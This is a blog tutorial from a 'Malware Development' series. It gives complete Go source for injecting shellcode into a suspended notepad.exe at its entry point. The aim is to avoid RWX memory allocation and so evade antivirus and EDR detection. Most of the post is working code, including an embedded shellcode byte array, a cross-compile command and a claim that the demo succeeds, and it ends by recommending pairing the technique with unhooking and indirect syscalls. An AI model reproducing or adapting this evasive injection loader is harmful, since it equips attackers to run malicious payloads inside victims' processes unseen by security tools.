Home Malware Development 13 - Shellcode injection without VirtualAllocEx RWX (Golang)
Post
Cancel

Malware Development 13 - Shellcode injection without VirtualAllocEx RWX (Golang)

Introduction

Hi there!

Today we’ll see a truly excellent way in which we can perform our shellcode injections to avoid allocating memory with RWX permissions. Then we’ll code an example in Golang

Only for educational purposes

Explanation

The technique we’ll be learning today is a potential way to evade AVs/EDRs since most of them try to detect whether a process has allocated memory space with RWX permissions which would be highly probable a shellcode injection because we also want to execute the written shellcode, so if an AV/EDR detects that it has ocurred, our malware will be blocked and flagged as malicious. That’s a good reason why we would want to use a similar technique to this one.

As various posts explain, in order to achieve this, we have to do a process like this:

  1. Start a process (i.e. notepad.exe) in suspended state (CREATE_SUSPENDED) to inject shellcode later on it
  2. Calculate Entry Point address of created process
  3. Now we write shellcode to entry point address
  4. Then we resume process thread
  5. And finally our shellcode is executed

In this case we will do this with this API calls: CreateProcess, ReadProcessMemory, WriteProcessMemory, ResumeThread and NtQueryInformationProcess

But you could also do it with the appropiate Nt functions like NtCreateProcess, NtReadVirtualMemory, NtWriteVirtualMemory and NtResumeThread but for brevity and simplicity, we’ll do it easier with the other calls.

If you wonder how we can calculate the Entry Point address, it’s done by firstly getting the process image base, then we parse out the NT and Optional Headers to finally be able to find Entry Point address (Relative Virtual Address)

Code

Let’s start by importing the packages we’ll see

1
2
3
4
5
6
7
8
9
10
package main

import (
  "fmt"
  "log"
  "unsafe"
  "syscall"
  "encoding/binary"
  "golang.org/x/sys/windows"
)

After this, we import the API calls

1
2
3
4
5
6
7
8
9
// Load DLLs
kernel32 := windows.NewLazyDLL("kernel32.dll")
ntdll := windows.NewLazyDLL("ntdll.dll")

// Declare functions that will be used
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
ResumeThread := kernel32.NewProc("ResumeThread")
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")

Then we create the already mentioned process

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
fmt.Println("[*] Calling CreateProcess...")
err := windows.CreateProcess(
  nil,
  syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
  nil,
  nil,
  false,
  windows.CREATE_SUSPENDED,
  nil,
  nil,
  &si,
  &pi,
)
if err != nil {
  log.Fatal(err)
}

Now we call NtQueryInformationProcess to be able to get the PEB offset

1
2
3
4
5
6
7
8
fmt.Println("[*] Calling NtQueryInformationProcess...")
NtQueryInformationProcess.Call(
  uintptr(pi.Process),
  uintptr(info),
  uintptr(unsafe.Pointer(&pbi)),
  uintptr(unsafe.Sizeof(windows.PROCESS_BASIC_INFORMATION{})),
  uintptr(unsafe.Pointer(&returnLength)),
)

Then let’s call ReadProcessMemory to get image base address and to calculate later the entry point address

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pebOffset:= uintptr(unsafe.Pointer(pbi.PebBaseAddress))+0x10
var imageBase uintptr = 0

fmt.Println("[*] Calling ReadProcessMemory...")
ReadProcessMemory.Call(
  uintptr(pi.Process),
  pebOffset,
  uintptr(unsafe.Pointer(&imageBase)),
  8,
  0,
)

headersBuffer := make([]byte,4096)

fmt.Println("[*] Calling ReadProcessMemory...")
ReadProcessMemory.Call(
  uintptr(pi.Process),
  uintptr(imageBase),
  uintptr(unsafe.Pointer(&headersBuffer[0])),
  4096,
  0,
)

fmt.Printf("\n[*] Image Base: 0x%x\n", imageBase)
fmt.Printf("[*] PEB Offset: 0x%x\n", pebOffset)

To be able to calculate the entry point address, we need to parse the DOS header and NT header (some structs are defined but I omit them for brevity, you can check them out on final code)

1
2
3
4
5
// Parse DOS header e_lfanew entry to calculate entry point address
var dosHeader IMAGE_DOS_HEADER
dosHeader.E_lfanew = binary.LittleEndian.Uint32(headersBuffer[60:64])
ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(uintptr(unsafe.Pointer(&headersBuffer[0])) + uintptr(dosHeader.E_lfanew)))
codeEntry := uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint) + imageBase

And finally we use WriteProcessMemory and ResumeThread to write shellcode to entry point address and resume process thread

1
2
3
4
5
6
7
8
9
10
11
fmt.Println("\n[*] Calling WriteProcessMemory...")
WriteProcessMemory.Call(
  uintptr(pi.Process),
  codeEntry, // write shellcode to entry point
  uintptr(unsafe.Pointer(&shellcode[0])),
  uintptr(len(shellcode)),
  0,
)

fmt.Println("[*] Calling ResumeThread...") // finally resume thread
ResumeThread.Call(uintptr(pi.Thread))

So the final code is something like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
package main

import (
  "fmt"
  "log"
  "unsafe"
  "syscall"
  "encoding/binary"
  "golang.org/x/sys/windows"
)

type IMAGE_DOS_HEADER struct { // DOS .EXE header
  /*E_magic    uint16     // Magic number
  E_cblp     uint16     // Bytes on last page of file
  E_cp       uint16     // Pages in file
  E_crlc     uint16     // Relocations
  E_cparhdr  uint16     // Size of header in paragraphs
  E_minalloc uint16     // Minimum extra paragraphs needed
  E_maxalloc uint16     // Maximum extra paragraphs needed
  E_ss       uint16     // Initial (relative) SS value
  E_sp       uint16     // Initial SP value
  E_csum     uint16     // Checksum
  E_ip       uint16     // Initial IP value
  E_cs       uint16     // Initial (relative) CS value
  E_lfarlc   uint16     // File address of relocation table
  E_ovno     uint16     // Overlay number
  E_res      [4]uint16  // Reserved words
  E_oemid    uint16     // OEM identifier (for E_oeminfo)
  E_oeminfo  uint16     // OEM information; E_oemid specific
  E_res2     [10]uint16 // Reserved words*/
  E_lfanew   uint32     // File address of new exe header
}

type IMAGE_NT_HEADER struct {
  Signature      uint32
  FileHeader     IMAGE_FILE_HEADER
  OptionalHeader IMAGE_OPTIONAL_HEADER
}

type IMAGE_FILE_HEADER struct {
  Machine              uint16
  NumberOfSections     uint16
  TimeDateStamp        uint32
  PointerToSymbolTable uint32
  NumberOfSymbols      uint32
  SizeOfOptionalHeader uint16
  Characteristics      uint16
}

type IMAGE_OPTIONAL_HEADER struct {
  Magic                       uint16
  MajorLinkerVersion          uint8
  MinorLinkerVersion          uint8
  SizeOfCode                  uint32
  SizeOfInitializedData       uint32
  SizeOfUninitializedData     uint32
  AddressOfEntryPoint         uint32
  BaseOfCode                  uint32
  ImageBase                   uint64
  SectionAlignment            uint32
  FileAlignment               uint32
  MajorOperatingSystemVersion uint16
  MinorOperatingSystemVersion uint16
  MajorImageVersion           uint16
  MinorImageVersion           uint16
  MajorSubsystemVersion       uint16
  MinorSubsystemVersion       uint16
  Win32VersionValue           uint32
  SizeOfImage                 uint32
  SizeOfHeaders               uint32
  CheckSum                    uint32
  Subsystem                   uint16
  DllCharacteristics          uint16
  SizeOfStackReserve          uint64
  SizeOfStackCommit           uint64
  SizeOfHeapReserve           uint64
  SizeOfHeapCommit            uint64
  LoaderFlags                 uint32
  NumberOfRvaAndSizes         uint32
  DataDirectory               [16]IMAGE_DATA_DIRECTORY
}

type IMAGE_DATA_DIRECTORY struct {
  VirtualAddress  uint32
  Size            uint32
}

var shellcode []byte = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}

func main(){
  // Load DLLs
  kernel32 := windows.NewLazyDLL("kernel32.dll")
  ntdll := windows.NewLazyDLL("ntdll.dll")

  // Declare functions that will be used
  ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
  WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
  ResumeThread := kernel32.NewProc("ResumeThread")
  NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")

  var info int32
  var returnLength int32

  var pbi windows.PROCESS_BASIC_INFORMATION
  var si windows.StartupInfo
  var pi windows.ProcessInformation

/*
BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);
*/

  fmt.Println("[*] Calling CreateProcess...")
  err := windows.CreateProcess(
    nil,
    syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
    nil,
    nil,
    false,
    windows.CREATE_SUSPENDED,
    nil,
    nil,
    &si,
    &pi,
  )
  if err != nil {
    log.Fatal(err)
  }

/*
__kernel_entry NTSTATUS NtQueryInformationProcess(
  [in]            HANDLE           ProcessHandle,
  [in]            PROCESSINFOCLASS ProcessInformationClass,
  [out]           PVOID            ProcessInformation,
  [in]            ULONG            ProcessInformationLength,
  [out, optional] PULONG           ReturnLength
);
*/

  fmt.Println("[*] Calling NtQueryInformationProcess...")
  NtQueryInformationProcess.Call(
    uintptr(pi.Process),
    uintptr(info),
    uintptr(unsafe.Pointer(&pbi)),
    uintptr(unsafe.Sizeof(windows.PROCESS_BASIC_INFORMATION{})),
    uintptr(unsafe.Pointer(&returnLength)),
  )

  pebOffset:= uintptr(unsafe.Pointer(pbi.PebBaseAddress))+0x10
  var imageBase uintptr = 0

/*
BOOL ReadProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPCVOID lpBaseAddress,
  [out] LPVOID  lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesRead
);
*/

  fmt.Println("[*] Calling ReadProcessMemory...")
  ReadProcessMemory.Call(
    uintptr(pi.Process),
    pebOffset,
    uintptr(unsafe.Pointer(&imageBase)),
    8,
    0,
  )

  headersBuffer := make([]byte,4096)

  fmt.Println("[*] Calling ReadProcessMemory...")
  ReadProcessMemory.Call(
    uintptr(pi.Process),
    uintptr(imageBase),
    uintptr(unsafe.Pointer(&headersBuffer[0])),
    4096,
    0,
  )

  fmt.Printf("\n[*] Image Base: 0x%x\n", imageBase)
  fmt.Printf("[*] PEB Offset: 0x%x\n", pebOffset)

  // Parse DOS header e_lfanew entry to calculate entry point address
  var dosHeader IMAGE_DOS_HEADER
  dosHeader.E_lfanew = binary.LittleEndian.Uint32(headersBuffer[60:64])
  ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(uintptr(unsafe.Pointer(&headersBuffer[0])) + uintptr(dosHeader.E_lfanew)))
  codeEntry := uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint) + imageBase

/*
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
*/

  fmt.Println("\n[*] Calling WriteProcessMemory...")
  WriteProcessMemory.Call(
    uintptr(pi.Process),
    codeEntry, // write shellcode to entry point
    uintptr(unsafe.Pointer(&shellcode[0])),
    uintptr(len(shellcode)),
    0,
  )

/*
DWORD ResumeThread(
  [in] HANDLE hThread
);
*/

  fmt.Println("[*] Calling ResumeThread...") // finally resume thread
  ResumeThread.Call(uintptr(pi.Thread))

  // shellcode should have been executed at this point
  fmt.Println("[+] Shellcode executed!")
}

Demo

Let’s compile the code

1
GOARCH=amd64 GOOS=windows go build main.go

Now we transfer the executable to a Windows x64 machine

And finally we execute it

As you can see, it works like a charm!

References

1
2
3
4
https://www.ired.team/offensive-security/code-injection-process-injection/addressofentrypoint-code-injection-without-virtualallocex-rwx
https://bohops.com/2023/06/09/no-alloc-no-problem-leveraging-program-entry-points-for-process-injection/
https://stackoverflow.com/questions/9613867/address-of-entry-point
https://en.wikipedia.org/wiki/Entry_point

Conclusion

I hope you’ve learned a new shellcode injection technique to consider as an excellent OPSEC technique which can help you specially if it’s combined with other techniques like unhooking or indirect syscalls.

Source code here

Go back to top

This post is licensed under CC BY 4.0 by the author.